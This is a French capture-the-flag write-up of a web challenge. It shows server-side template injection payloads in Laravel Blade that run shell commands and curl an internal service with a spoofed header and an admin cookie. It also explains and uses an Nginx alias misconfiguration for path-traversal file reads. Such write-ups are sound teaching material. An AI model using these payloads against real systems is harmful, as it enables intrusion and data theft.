RealBe
Introduction
Le but de ce challenge easy est de trouver des informations sur les personnes ayant modifié les crédits du film “L’s Dead” de la réalisatrice “Line Huks”.
On a donc un site internet, avec quelques images et un formulaire.

Formulaire
Lorsque l’on test de renseigner le film “Test” de la réalisatrice “Line Hunks”, on a le
message d’erreur suivant :

Mais, si on rentre le nom du film “L’s Dead” comme prévu, on a une page qui apparait.
Sur cette page, nous avons un formulaire, contenant une SSTI, comme vous pouvez le constater :

SSTI
Après pas mal de tests, il semblerait qu’on soit sur Blade de Laravel, car
l’injection {{ $name }} nous renvoie une erreur.

En faisant un {{ system("cat get_url.php") }}, afin de lire le fichier get_url avec lequel on joue depuis
tout à l’heure, on se rend compte que l’on a dans le fichier (et donc dans les commentaires HTML du site),
la chose suivante:
echo " </ul>\n";
echo " <!-- service interne : invisible_server -->\n";
echo " </section>\n";
echo " </main>\n";
Cela nous indique qu’un service, que l’on peut resolve sous invisible_server est disponible.
{{ system("curl -H 'X-forwarded-for: 127.0.0.1' http://invisible_server/") }} nous renvoie une 403 d’Apache.
Et en tapant la route /flag, on a:

Très longtemps plus tard…
Ok. Bon là, on rentre dans la partie un peu guess du challenge. Vous vous rappelez du commentaire dans le HTML ?
Il précise 2 choses :
- Qu’on a un service interne qui tourne
- Sur le hostname
invisible_server.
De fait, il faut taper la route /interne du serveur invisible_server.
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/'")}}:

Internal secrets
Et alors là, faites places pour assister au plus grand troll de l’histoire :
Essayons ls:
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/ls'")}}:

Essayons flag_hint:
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/flag_hint'")}}:

Essayons flag:
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/flag'")}}:

Essayons help:
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/help'")}}:

Essayons config:
{{ system("curl -iX OPTIONS 'http://invisible_server/interne/config'")}}:

Et alors là, preuve de bonne volonté, c’est partie pour des dizaines de requêtes
à la main, sur tous les paths de toutes les applications possibles
pour essayer de leak le /flag avec les cookies administrateurs.
Les créateurs du challenge pendant ce temps devaient bien rigoler :
Au final, prenez encore une grande respiration, et commencer à toucher vos rêves les plus fous.
Vous vous souvenez de la page help ? Celle où on vous dit que les secrets ne sont pas visible.
Bon bah oui, encore une fois … Peut-être qu’il faut essayer d’accéder aux secrets. Fin, ceci-dit, vous n’en cherchez
qu’un, le flag, alors testons secret:
{{ system("curl -X GET -v -i --cookie 'admin_token=supersecretflag123' 'http://invisible_server/interne/secret'") }}

Very internal hidden invisible secret
Voici la structure de dossier donnée, mais en mieux formatée :
webapp
├── app
│ ├── todo.txt
│ └── webroot
│ └── index.html
└── static
├── capybara_detective.png
├── snoopy_in_a_lab.png
├── L-is-dead.mp4
└── L-is-dead_DGSI.mp4.mp4
Notre objectif ici, si vous ne l’avez pas encore compris, c’est de ne pas lire le message de la page qui nous dit simplement :
“Le but reste de vérifier que les noms donnés dans les crédits ne divulguent pas ceux des agents du ministère.”
Bon, comme c’est original, et encore pour vous faire perdre un peu de temps, je vous épargne la recherche des 7 différences, et l’originalité des noms qui dans la vidéo original forme l’alphabet complet, et dans la vidéo de la DGSI forment à 4 DGSI. Tient, comme c’est drôle.
Une fois votre temps écoulé, vos espoirs refoulés, et que vous avez compris que pour rendre plus difficile un challenge web, il suffisait de faire tourner en rond les joueurs, vous aurez envie de voir autre chose.
Le todo.txt par exemple.
Nginx alias LFI
Déjà, première chose, quand on clique sur le lien du dossier, on a l’image suivante :

L’image importée, regardez-la bien, car son chemin d’accès est intéressant.
Par rapport à la structure de dossier, son accès via ../../static nous donne un indice.
Le fichier que l’on regarde se situe probablement dans le dossier app. D’ailleurs, le /index.html
renvoie le même résultat, mais le /todo.txt une page 500.
Tout d’abord, il est important de comprendre que l’on est sur un Nginx (1.27.5).
Ensuite, l’image est belle et bien chargée, donc le dossier /static est
servit directement dans une rule Nginx.
Le fait que l’on soit sous Nginx, fait que l’on est probablement sur une
attaque dû à un mauvais usage de alias dans la configuration Nginx.
Dans Nginx, on a 2 manières de servir un dossier :
- Utiliser la configuration
root, qui permet de concaténer le chemin de localisation au path demandé. - Utiliser
alias, qui va remplacer le chemin de localisation avec le path demandé.
Par exemple, pour le dossier static, si la configuration utilisait root:
location /static/ {
root /var/www/app/;
autoindex off;
}
Si on appelait notre fichier capybara_detective.png, on pourrait envoyer une requête :
GET /static/capybara_detective.png
Et Nginx irait chercher dans le dossier :
/var/www/app/ + /static/ + capybara_detective.png
↑ ↑ ↑
root location path
Par contre, avec la configuration alias :
location /static/ {
alias /var/www/webapp/static/;
autoindex off;
}
Ici, remarquez que j’ai laissé le /static/ dans l’alias.
Si on appelait notre fichier capybara_detective.png, on pourrait envoyer une requête :
GET /static/capybara_detective.png
Et Nginx irait chercher dans le dossier :
/var/www/webapp/static/ + capybara_detective.png
↑ ↑
alias path
Ici, il s’est passé 2 choses :
- Le path de la localisation a été replacé par celui de l’alias.
Donc le
/static/de la localisation a été retiré du path, puis on a concaténé l’alias avec le path. - Le reste du path a été concaténé à celui de l’alias.
En partant de ça, si une missconfiguration est faite sur la location, par exemple :
location /static {
alias /var/www/webapp/static/;
autoindex off;
}
Si l’on envoit une requête /static_coucou/test.jpg, alors le chemin de location va matcher,
et l’alias va juste remplacer la location, soit /static.
Donc on va se retrouver avec le chemin suivant :
/var/www/webapp/static/ + _coucou/test.jpg
↑ ↑
alias path
On peut donc exloiter cette vulnérabilité pour lire des fichiers arbitraire. Dans notre cas, le todo.txt.
En envoyant le path:
/static../app/todo.txt
on va lire le fichier:
/var/www/webapp/static/ + ../app/todo.txt
↑ ↑
alias path
De fait, on pourra lire le fichier app/todo.txt.
http://57.128.85.25:50014/static../app/todo.txt

Flag: SHLK{ssrf_f0und_th3_h1dd3n_p4th}